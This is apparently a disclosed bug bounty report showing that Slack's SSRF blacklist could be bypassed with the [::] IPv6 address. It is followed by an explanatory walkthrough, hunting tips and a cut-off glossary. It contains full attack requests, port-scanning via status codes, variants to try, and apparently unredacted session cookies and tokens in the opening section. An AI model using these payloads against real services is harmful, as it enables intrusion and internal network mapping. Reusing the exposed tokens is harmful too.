Bypass of the SSRF protection (Slack commands, Phabricator integration)
Slack's SSRF blacklist for integrations and slash commands could be bypassed by using the IPv6 unspecified address [::] as the hostname, allowing access to loopback services. An attacker could reach internal services such as SSH, SMTP, and Squid, and in the case of slash commands, read the response.
- Triaged in 22 hours
- Fixed in 6 months
- Paid in 6 months
- Disclosed after 16 months
Abstract
Some Slack features like "Integrations / Phabricator" and "Integration / Slash Commands" allow users to submit URL that will be accessed by the backend servers. A blacklist tries to forbid access to internal resources (loopback, 10.0.0.0/8, 192.168.0.0/24, ...). This blacklist can be bypassed using "[::]" as the hostname. Only services binding all the interfaces and supporting IPv6 can be reached using that vector.
Integration features
Slack commands
Modify the "url" property of the "/ssrf" Slack command (with "http://[::]:25/" as the destination)
POST /services/4814366410 HTTP/1.1
Host: agarri.slack.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://agarri.slack.com/services/4814366410?updated=1
Cookie: a-4829527691=lXNoz55pPZJJprlgeR9HwDESdmtwYmeB1FBbV17QKuaT7NQ%2BzYK9ugAawkjnMOTb3INz7JKDJiWMXMt3M6O3dQ%3D%3D; a=4829527691
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 148
crumb=s-1431286469-c73f073ed6-%E2%98%83&edit_service=1&is_edit=1&command=/ssrf&url=http://[::]:25/&method=GET&in_autocomplete=on&desc=&usage=&label=
Execute the Slack command "/ssrf"
POST /api/chat.command?t=1431286754 HTTP/1.1
Host: agarri.slack.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Referer: https://agarri.slack.com/messages/general/
Content-Length: 133
Cookie: a-4829527691=lXNoz55pPZJJprlgeR9HwDESdmtwYmeB1FBbV17QKuaT7NQ%2BzYK9ugAawkjnMOTb3INz7JKDJiWMXMt3M6O3dQ%3D%3D; a=4829527691
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
agent=webapp&command=/ssrf&text=&channel=C04QDFHLT&token=xoxs-4829527689-4829527691-4814341714-d0346ec616&set_active=true&_attempts=1
Access port TCP/25 on loopback
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Type: application/json; charset=utf-8
Date: Mon, 11 May 2015 20:28:06 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Pragma: no-cache
Server: Apache
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Vary: Accept-Encoding
X-Accepted-OAuth-Scopes: post
X-Content-Type-Options: nosniff
X-OAuth-Scopes: identify,read,post,client,admin
X-XSS-Protection: 0
Content-Length: 120
Connection: keep-alive
{"ok":true,"response":"220 squid3.tinyspeck.com ESMTP Postfix\r\n221 2.7.0 Error: I can break rules, too. Goodbye.\r\n"}
Phabricator
This vector is very similar to the previous one. If the port is opened, a HTTP 302 code is received. If not, an error 500 is generated. Outside of that, this vector is blind.
Request for http://[::]:22/
POST /services/4836378801 HTTP/1.1
Host: agarri.slack.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://agarri.slack.com/services/4836378801?updated=1
Cookie: a-4829527691=lXNoz55pPZJJprlgeR9HwDESdmtwYmeB1FBbV17QKuaT7NQ%2BzYK9ugAawkjnMOTb3INz7JKDJiWMXMt3M6O3dQ%3D%3D; a=4829527691
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
edit_service=1&edit_label=1&phabricator_url=http://[::]:22/&conduit_user=Yolo&conduit_cert=foobar&import_phriction=1&import_pastes=1
302 Found
HTTP/1.1 302 Found
Content-Type: text/html
Date: Mon, 11 May 2015 20:16:02 GMT
Location: /services/4836378801?updated=1
Server: Apache
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Connection: keep-alive
Request for http://[::]:11/
POST /services/4836378801 HTTP/1.1
Host: agarri.slack.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://agarri.slack.com/services/4836378801?updated=1
Cookie: a-4829527691=lXNoz55pPZJJprlgeR9HwDESdmtwYmeB1FBbV17QKuaT7NQ%2BzYK9ugAawkjnMOTb3INz7JKDJiWMXMt3M6O3dQ%3D%3D; a=4829527691
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
edit_service=1&edit_label=1&phabricator_url=http://[::]:21/&conduit_user=Yolo&conduit_cert=foobar&import_phriction=1&import_pastes=1
500 Error
HTTP/1.1 500 Server Error
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Type: text/html; charset=utf-8
Date: Mon, 11 May 2015 20:22:11 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Pragma: no-cache
Server: Apache
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 0
Content-Length: 32657
Connection: keep-alive
<snip>
Identified services
SSH on TCP/22
SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4
Protocol mismatch.
SMTP on TCP/25
220 squid3.tinyspeck.com ESMTP Postfix
221 2.7.0 Error: I can break rules, too. Goodbye.
Squid on TCP/3128
[...]
<h1>ERROR</h1>
<h2>The requested URL could not be retrieved</h2>
[...]
<p>The following error was encountered while trying to retrieve the URL: <a href="/?token=wW0Mjd9kSTPzazuTzHPkLNpI&team_id=T04QDFHL9&team_domain=agarri&channel_id=C04QDFHLT&channel_name=general&user_id=U04QDFHLB&user_name=nico&command=/ssrf&text=">/?token=wW0Mjd9kSTPzazuTzHPkLNpI&team_id=T04QDFHL9&team_domain=agarri&channel_id=C04QDFHLT&channel_name=general&user_id=U04QDFHLB&user_name=nico&command=/ssrf&text=</a></p>
<blockquote id="error">
<p><b>Invalid URL</b></p>
</blockquote>
[...]
Generated Mon, 11 May 2015 20:34:46 GMT by localhost (squid\/3.1.19)
[...]
Context
Slack offers integration features that let a workspace user configure a URL which Slack's backend servers will fetch on the user's behalf. Two of these are the Phabricator integration and Slash Commands. When a slash command is invoked, Slack makes an HTTP request to the URL configured for that command and posts the response back into the channel. The Phabricator integration similarly contacts the configured Phabricator URL.
Because these requests originate from Slack's own infrastructure, they are a classic server-side request forgery (SSRF) surface: a user who can set the URL can try to make Slack's servers reach internal resources. Slack defended against this with a blacklist that forbids access to internal ranges such as loopback, [redacted]/8 and [redacted]/24. The report shows that blacklist can be bypassed by using [::] as the hostname.
Setup
The researcher used a Slack workspace (agarri.slack.com) and configured two integrations: a slash command named /ssrf and a Phabricator integration. The requests shown are made from a browser session against the workspace, using the standard web session cookie and, for the command execution, the command's token. The only special ingredient is the destination hostname [::], the IPv6 unspecified address, written in URL bracket notation.
Finding it
The blacklist blocks internal IPv4 resources by name and range. The researcher noticed that [::] was not covered. On a host that binds services to all interfaces and supports IPv6, [::] reaches those services just as loopback would. The report states the limit plainly: only services binding all the interfaces and supporting IPv6 can be reached using that vector.
Exploitation
Step 1: point the slash command at the loopback address
The url property of the /ssrf Slack command is edited to http://[::]:25/:
POST /services/4814366410 HTTP/1.1
Host: agarri.slack.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://agarri.slack.com/services/4814366410?updated=1
Cookie: [redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 148
crumb=s-1431286469-c73f073ed6-%E2%98%83&edit_service=1&is_edit=1&command=/ssrf&url=http://[::]:25/&method=GET&in_autocomplete=on&desc=&usage=&label=
The form body sets edit_service=1 and is_edit=1 to save the integration, keeps the command as /ssrf, and sets url to the bracketed IPv6 unspecified address on port 25. The crumb value is a form field sent with the edit.
Step 2: invoke the command
With the URL saved, the researcher executes /ssrf in the general channel:
POST /api/chat.command?t=1431286754 HTTP/1.1
Host: agarri.slack.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Referer: https://agarri.slack.com/messages/general/
Content-Length: 133
Cookie: [redacted]
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
agent=webapp&command=/ssrf&text=&channel=C04QDFHLT&[redacted]&set_active=true&_attempts=1
The body names the command (command=/ssrf), the channel (channel=C04QDFHLT), the agent (agent=webapp) and carries the command token. Slack then makes the backend request to the configured URL.
Step 3: read the response from port 25
The command's response comes back with the SMTP banner of the internal mail server:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Type: application/json; charset=utf-8
Date: Mon, 11 May 2015 20:28:06 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Pragma: no-cache
Server: Apache
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Vary: Accept-Encoding
X-Accepted-OAuth-Scopes: post
X-Content-Type-Options: nosniff
X-OAuth-Scopes: identify,read,post,client,admin
X-XSS-Protection: 0
Content-Length: 120
Connection: keep-alive
{"ok":true,"response":"220 squid3.tinyspeck.com ESMTP Postfix\r\n221 2.7.0 Error: I can break rules, too. Goodbye.\r\n"}
The JSON response field contains the SMTP greeting and the server's closing line, showing the request reached TCP/25. This vector is not blind: the fetched content is returned to the user.
Step 4: the Phabricator integration
The Phabricator integration behaves similarly but is blind. If the port is open, a HTTP 302 is returned; if not, an error 500 is generated. The researcher first points phabricator_url at http://[::]:22/:
POST /services/4836378801 HTTP/1.1
Host: agarri.slack.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://agarri.slack.com/services/4836378801?updated=1
Cookie: [redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
edit_service=1&edit_label=1&phabricator_url=http://[::]:22/&conduit_user=Yolo&conduit_cert=foobar&import_phriction=1&import_pastes=1
The response is a redirect, indicating the port is open:
HTTP/1.1 302 Found
Content-Type: text/html
Date: Mon, 11 May 2015 20:16:02 GMT
Location: /services/4836378801?updated=1
Server: Apache
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Connection: keep-alive
Step 5: a closed port on the same integration
The researcher then sends the same request with phabricator_url set to http://[::]:21/ (the body is otherwise identical, with Content-Length: 132):
POST /services/4836378801 HTTP/1.1
Host: agarri.slack.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://agarri.slack.com/services/4836378801?updated=1
Cookie: [redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
edit_service=1&edit_label=1&phabricator_url=http://[::]:21/&conduit_user=Yolo&conduit_cert=foobar&import_phriction=1&import_pastes=1
This time the response is a server error:
HTTP/1.1 500 Server Error
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Type: text/html; charset=utf-8
Date: Mon, 11 May 2015 20:22:11 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Pragma: no-cache
Server: Apache
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 0
Content-Length: 32657
Connection: keep-alive
<snip>
The 302 versus 500 difference is the signal: it lets the user distinguish open from closed ports on the internal host.
Step 6: services identified
Using the vectors above, the researcher identified three services on the internal host.
SSH on TCP/22:
SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4
Protocol mismatch.
SMTP on TCP/25:
220 squid3.tinyspeck.com ESMTP Postfix
221 2.7.0 Error: I can break rules, too. Goodbye.
Squid on TCP/3128, whose error page was returned through the command:
[...]
<h1>ERROR</h1>
<h2>The requested URL could not be retrieved</h2>
[...]
<p>The following error was encountered while trying to retrieve the URL: <a href="/?[redacted]&team_id=T04QDFHL9&team_domain=agarri&channel_id=C04QDFHLT&channel_name=general&user_id=U04QDFHLB&user_name=nico&command=/ssrf&text=">/?[redacted]&team_id=T04QDFHL9&team_domain=agarri&channel_id=C04QDFHLT&channel_name=general&user_id=U04QDFHLB&user_name=nico&command=/ssrf&text=</a></p>
<blockquote id="error">
<p><b>Invalid URL</b></p>
</blockquote>
[...]
Generated Mon, 11 May 2015 20:34:46 GMT by localhost (squid/3.1.19)
[...]
The Squid page echoes back the request URL, including the command's token and team and channel identifiers.
Root cause
The blacklist enumerates internal IPv4 resources (loopback, [redacted]/8, [redacted]/24 and similar) but does not account for the IPv6 unspecified address [::]. On a host that binds services to all interfaces and supports IPv6, that address reaches the same services the blacklist was meant to protect. The blacklist did not cover the IPv6 unspecified address [::], so that address form passed through.
Impact
A user who can configure these integrations can make Slack's backend servers issue requests to internal services reachable through [::]. With slash commands the fetched content is returned to the user, so internal service banners and error pages leak. With the Phabricator integration the vector is blind, but the 302 versus 500 difference still reveals whether a port is open. The report limits the reach: only services binding all interfaces and supporting IPv6 can be reached this way.
Fix
The report does not describe the fix that was applied.
Variants to test
- Other IPv6 spellings of the same destination, such as
[::1]or expanded forms of the unspecified address. A positive result is the same internal banner or error page coming back. - Other integration fields that take a URL, beyond slash commands and Phabricator. A positive result is a backend fetch to an internal address reflected in the response or in a status difference.
- Port scanning through the Phabricator integration by varying the port in
phabricator_url. A positive result is a 302 for open ports and a 500 for closed ones. - Reaching the internal Squid proxy on TCP/3128 through the command URL. A positive result is a Squid error page returned in the command response.
Hunting notes
This kind of bug hides in features where the server fetches a user-supplied URL: slash commands, chat integrations, webhook test buttons, link previews and importers. During recon, look for any integration settings page that accepts a URL and any command that returns fetched content. The signal is a blocklist that names IPv4 ranges explicitly; that suggests the check is a list of strings or ranges rather than a resolved-address validation, and alternative address forms are worth trying. The researcher showed impact by pulling back real content from internal services (the SMTP banner and the Squid error page) and by demonstrating a port oracle on the blind integration.
What happened, in plain words
Slack is a chat application. Besides sending messages, it lets you connect outside services to your workspace. Two of those connections are called integrations: one lets you create a slash command (a word you type in chat, starting with a slash, that triggers something), and another connects Slack to Phabricator, a tool for tracking software work.
Both integrations ask you to type in a web address (a URL). When someone uses the slash command, Slack's own computers visit that address and post whatever comes back into the chat. The Phabricator integration does something similar: Slack's computers contact the Phabricator address you gave.
That is the interesting part. The request does not come from your browser. It comes from Slack's servers, which sit inside Slack's private network. If you can choose the address, you might be able to make Slack's servers visit places on that private network that outsiders are not supposed to reach. This kind of attack has a name: server-side request forgery, or SSRF. Think of it as convincing a building's receptionist to walk into the staff-only back rooms and read out what is written on the doors.
Slack knew about this risk and kept a blacklist: a list of addresses that are not allowed, such as the machine's own loopback address (the address a computer uses to talk to itself) and common private network ranges like [redacted]/8 and [redacted]/24. The researcher found that the blacklist could be bypassed by writing the hostname as [::]. That is the IPv6 address for "unspecified", and on a machine that listens on all its network interfaces and speaks IPv6, it reaches the same local services the blacklist was meant to protect.
One limit is stated in the report: only services that bind all the interfaces and support IPv6 can be reached this way.
The pieces involved
Before the steps, a few words that come up constantly.
- HTTP request: the message your browser sends to a website. It has a first line (the method, like
POST, and the path), then headers (extra information such as cookies), then optionally a body (the form data). - Cookie: a small piece of text a website stores in your browser so it recognises you on the next request. It works like a wristband at an event: show it and you are let back in without proving who you are again.
- Token: a secret string that acts like a password for a specific action or integration. If someone else has it, they can act as that integration.
- Form field: the
crumbvalue below is one of the fields sent with the edit. - Loopback: the address a computer uses to reach itself, usually
[redacted]in IPv4 or::1in IPv6. - IPv6 and
[::]: IPv6 is the newer version of the addressing system the internet uses.::is the "unspecified" address. In a URL, IPv6 addresses are wrapped in square brackets, which is why it appears as[::]. - Port: a numbered door on a computer. One machine can run many services, each on its own port. Port 22 is usually SSH (remote login), port 25 is usually email (SMTP), port 3128 is often a proxy server.
- Blacklist: a list of things that are forbidden. The opposite approach is to allow only known-good things.
Setting up
The researcher used a Slack workspace at agarri.slack.com and configured two integrations: a slash command named /ssrf and a Phabricator integration. The requests shown are made from a normal logged-in browser session, using the session cookie, and for running the command, the command's own token. The only unusual ingredient is the destination hostname [::].
Why the trick works
The blacklist blocks internal IPv4 resources by name and by range. The researcher noticed that [::] was not on the list. On a host that binds services to all interfaces and supports IPv6, [::] reaches those services just as loopback would. The report states the limit plainly: only services binding all the interfaces and supporting IPv6 can be reached using that vector.
Step by step
Step 1: point the slash command at the loopback address
The url property of the /ssrf Slack command is edited to http://[::]:25/:
POST /services/4814366410 HTTP/1.1
Host: agarri.slack.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://agarri.slack.com/services/4814366410?updated=1
Cookie: [redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 148
crumb=s-1431286469-c73f073ed6-%E2%98%83&edit_service=1&is_edit=1&command=/ssrf&url=http://[::]:25/&method=GET&in_autocomplete=on&desc=&usage=&label=
Line by line:
POST /services/4814366410 HTTP/1.1says "I am sending data to the settings page of this integration". The number is the integration's identifier.Host: agarri.slack.comtells the server which website the request is for.User-AgentandAcceptheaders describe the browser and what content it accepts. They are ordinary browser noise.Referersays which page the request came from, here the integration's edit page.Cookie: [redacted]is the session cookie that proves the researcher is logged in. It is hidden here because it is a secret.Content-Type: application/x-www-form-urlencodedsays the body is form data, the same format a web form produces.Content-Length: 148is the size of the body in bytes.- The body sets
edit_service=1andis_edit=1to save the integration, keeps the command as/ssrf, and setsurlto the bracketed IPv6 unspecified address on port 25. Thecrumbvalue is a form field sent with the edit.
Why this step: the slash command needs a destination before it can be triggered. By saving http://[::]:25/, the researcher makes Slack's servers the ones that will later connect to port 25 on the local machine.
Step 2: invoke the command
With the URL saved, the researcher executes /ssrf in the general channel:
POST /api/chat.command?t=1431286754 HTTP/1.1
Host: agarri.slack.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Referer: https://agarri.slack.com/messages/general/
Content-Length: 133
Cookie: [redacted]
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
agent=webapp&command=/ssrf&text=&channel=C04QDFHLT&[redacted]&set_active=true&_attempts=1
Line by line:
- The path
/api/chat.commandis the endpoint the web interface calls when you run a slash command. The?t=1431286754part is a timestamp added to the URL. - The headers are again standard browser headers.
PragmaandCache-Controlask that nothing be cached. - The body names the command (
command=/ssrf), the channel (channel=C04QDFHLT), the agent (agent=webapp) and carries the command token, which is redacted because it is a secret.
Why this step: saving the URL only stores it. Running the command is what makes Slack's backend actually fetch the configured address. The response to this request is where the fetched content appears.
Step 3: read the response from port 25
The command's response comes back with the SMTP banner of the internal mail server:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Type: application/json; charset=utf-8
Date: Mon, 11 May 2015 20:28:06 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Pragma: no-cache
Server: Apache
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Vary: Accept-Encoding
X-Accepted-OAuth-Scopes: post
X-Content-Type-Options: nosniff
X-OAuth-Scopes: identify,read,post,client,admin
X-XSS-Protection: 0
Content-Length: 120
Connection: keep-alive
{"ok":true,"response":"220 squid3.tinyspeck.com ESMTP Postfix\r\n221 2.7.0 Error: I can break rules, too. Goodbye.\r\n"}
Line by line:
HTTP/1.1 200 OKmeans the request to Slack succeeded.- The headers are ordinary web server headers: caching rules, content type, date, security settings. They are not the interesting part.
- The body is JSON, a text format for structured data.
"ok":truesays the command ran. Theresponsefield holds what the internal service said back. 220 squid3.tinyspeck.com ESMTP Postfixis the greeting an email server sends when a connection opens.221 2.7.0 Error: I can break rules, too. Goodbye.is the line it sends when closing.
Why this matters: the JSON response field contains the SMTP greeting and the server's closing line, proving the request reached TCP/25 on the loopback interface. This vector is not blind: the fetched content is returned to the user.
Step 4: the Phabricator integration
The Phabricator integration behaves similarly but is blind. If the port is open, a HTTP 302 is returned; if not, an error 500 is generated. A 302 is a redirect ("the thing you asked for is elsewhere, go here"), and a 500 is a generic server error. The researcher first points phabricator_url at http://[::]:22/:
POST /services/4836378801 HTTP/1.1
Host: agarri.slack.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://agarri.slack.com/services/4836378801?updated=1
Cookie: [redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
edit_service=1&edit_label=1&phabricator_url=http://[::]:22/&conduit_user=Yolo&conduit_cert=foobar&import_phriction=1&import_pastes=1
Line by line:
- This is the same kind of settings request as in step 1, but for the Phabricator integration, whose identifier is
4836378801. - The body saves the integration (
edit_service=1,edit_label=1) and setsphabricator_urltohttp://[::]:22/, port 22 being the usual SSH port. - The other fields (
conduit_user,conduit_cert,import_phriction,import_pastes) are also sent in the body.
The response is a redirect, indicating the port is open:
HTTP/1.1 302 Found
Content-Type: text/html
Date: Mon, 11 May 2015 20:16:02 GMT
Location: /services/4836378801?updated=1
Server: Apache
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Connection: keep-alive
Line by line:
302 Foundis the redirect status.Location: /services/4836378801?updated=1says where the browser should go next, back to the integration page with an "updated" marker.- The rest are standard headers.
Content-Length: 0means the redirect carries no body.
Why this matters: the redirect tells the researcher that Slack's attempt to reach port 22 did not fail outright. The integration does not show the fetched content, so the status code is the only clue.
Step 5: a closed port on the same integration
The researcher then sends the same request with phabricator_url set to http://[::]:21/ (the body is otherwise identical, with Content-Length: 132):
POST /services/4836378801 HTTP/1.1
Host: agarri.slack.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://agarri.slack.com/services/4836378801?updated=1
Cookie: [redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
edit_service=1&edit_label=1&phabricator_url=http://[::]:21/&conduit_user=Yolo&conduit_cert=foobar&import_phriction=1&import_pastes=1
Line by line:
- Everything is the same as the previous request except the port in
phabricator_url, now 21. - The point of changing only one thing is to compare the two responses and see whether the port makes a difference.
This time the response is a server error:
HTTP/1.1 500 Server Error
Cache-Control: private, no-cache, no-store, must-revalidate
Content-Type: text/html; charset=utf-8
Date: Mon, 11 May 2015 20:22:11 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Pragma: no-cache
Server: Apache
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 0
Content-Length: 32657
Connection: keep-alive
<snip>
Line by line:
500 Server Erroris the response the report associates with a closed port.- The headers are standard.
Content-Length: 32657says the error page is fairly large, but its content is cut out of the report with<snip>.
The 302 versus 500 difference is the signal: it lets the user distinguish open from closed ports on the internal host. That is a port scanner built out of an integration settings page.
Step 6: services identified
Using the vectors above, the researcher identified three services on the internal host.
SSH on TCP/22:
SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4
Protocol mismatch.
This is what an SSH server says when something connects and does not speak SSH properly. The first line names the software and version; the second is the server giving up on the conversation.
SMTP on TCP/25:
220 squid3.tinyspeck.com ESMTP Postfix
221 2.7.0 Error: I can break rules, too. Goodbye.
This is the same email greeting and closing line seen in step 3, now shown on its own.
Squid on TCP/3128, whose error page was returned through the command:
[...]
<h1>ERROR</h1>
<h2>The requested URL could not be retrieved</h2>
[...]
<p>The following error was encountered while trying to retrieve the URL: <a href="/?[redacted]&team_id=T04QDFHL9&team_domain=agarri&channel_id=C04QDFHLT&channel_name=general&user_id=U04QDFHLB&user_name=nico&command=/ssrf&text=">/?[redacted]&team_id=T04QDFHL9&team_domain=agarri&channel_id=C04QDFHLT&channel_name=general&user_id=U04QDFHLB&user_name=nico&command=/ssrf&text=</a></p>
<blockquote id="error">
<p><b>Invalid URL</b></p>
</blockquote>
[...]
Generated Mon, 11 May 2015 20:34:46 GMT by localhost (squid/3.1.19)
[...]
Line by line:
- The
<h1>and<h2>lines are the error page's headings: something went wrong and the requested URL could not be retrieved. - The link contains the URL that was requested, including the command's token (redacted here) and the team and channel identifiers. The proxy is echoing back what it was asked to fetch.
Invalid URLis the specific error.- The last line says the page was generated by
localhostrunningsquid/3.1.19.
Why this matters: the Squid page echoes back the request URL, including the command's token and team and channel identifiers.
Root cause
The blacklist enumerates internal IPv4 resources (loopback, [redacted]/8, [redacted]/24 and similar) but does not account for the IPv6 unspecified address [::]. On a host that binds services to all interfaces and supports IPv6, that address reaches the same services the blacklist was meant to protect. The blacklist did not cover the IPv6 unspecified address [::], so that address form passed through.
A simple comparison: a bouncer with a list of banned faces will let in anyone whose face is not on the list, even if that person is the banned person's twin. Checking identity properly, rather than matching a list, is the stronger approach.
Impact
A user who can configure these integrations can make Slack's backend servers issue requests to internal services reachable through [::]. With slash commands the fetched content is returned to the user, so internal service banners and error pages leak. With the Phabricator integration the vector is blind, but the 302 versus 500 difference still reveals whether a port is open. The report limits the reach: only services binding all interfaces and supporting IPv6 can be reached this way.
Fix
The report does not describe the fix that was applied.
Variants to test
- Other IPv6 spellings of the same destination, such as
[::1]or expanded forms of the unspecified address. A positive result is the same internal banner or error page coming back. - Other integration fields that take a URL, beyond slash commands and Phabricator. A positive result is a backend fetch to an internal address reflected in the response or in a status difference.
- Port scanning through the Phabricator integration by varying the port in
phabricator_url. A positive result is a 302 for open ports and a 500 for closed ones. - Reaching the internal Squid proxy on TCP/3128 through the command URL. A positive result is a Squid error page returned in the command response.
Hunting notes
This kind of bug hides in features where the server fetches a user-supplied URL: slash commands, chat integrations, webhook test buttons, link previews and importers. During recon, look for any integration settings page that accepts a URL and any command that returns fetched content. The signal is a blocklist that names IPv4 ranges explicitly; that suggests the check is a list of strings or ranges rather than a resolved-address validation, and alternative address forms are worth trying. The researcher showed impact by pulling back real content from internal services (the SMTP banner and the Squid error page) and by demonstrating a port oracle on the blind integration.
Glossary
- API: a defined way for one program to talk to another, usually over HTTP, with agreed addresses and data formats.
- Blacklist: a list of forbidden items, here forbidden network destinations.
- Cookie: a small piece of text stored by the browser that lets a website recognise a logged-in user.
- CSRF token: a random value in a form that proves the form came from the real page, not from another site.
- Endpoint: a specific address on a server that accepts requests, such as
/api/chat.command. - Header: an extra line of information in an HTTP request or response, such as
HostorCookie. - HTTP: the protocol browsers and servers use to exchange web requests and responses.
- Integration: a connection between a chat workspace and an outside service.
- IPv4: the older internet addressing system, with addresses like
[redacted]. - IPv6: the newer internet addressing system, with longer addresses written in hexadecimal and colons.
- JSON: a text format for structured data, using curly braces and key/value pairs.
- Loopback: the address a computer uses to reach itself.
- Phabricator: a tool for tracking software work, which Slack can connect to.
- Port: a numbered door on a computer through which a particular service is reached.
- Proxy: a server that fetches things on behalf of others; Squid is one such server.
- Redirect (302): a response telling the browser to go to a different address.
- Server error (500): a response saying the server failed while handling the request.
- Slash command: a word starting with
/typed in chat that triggers an action. - SMTP: the protocol email servers use to talk to each other.
- SSH: a protocol for logging into another computer securely.
- SSRF (server-side request forgery): tricking a server into making requests to places the attacker cannot reach directly.
- URL: a web address, such as
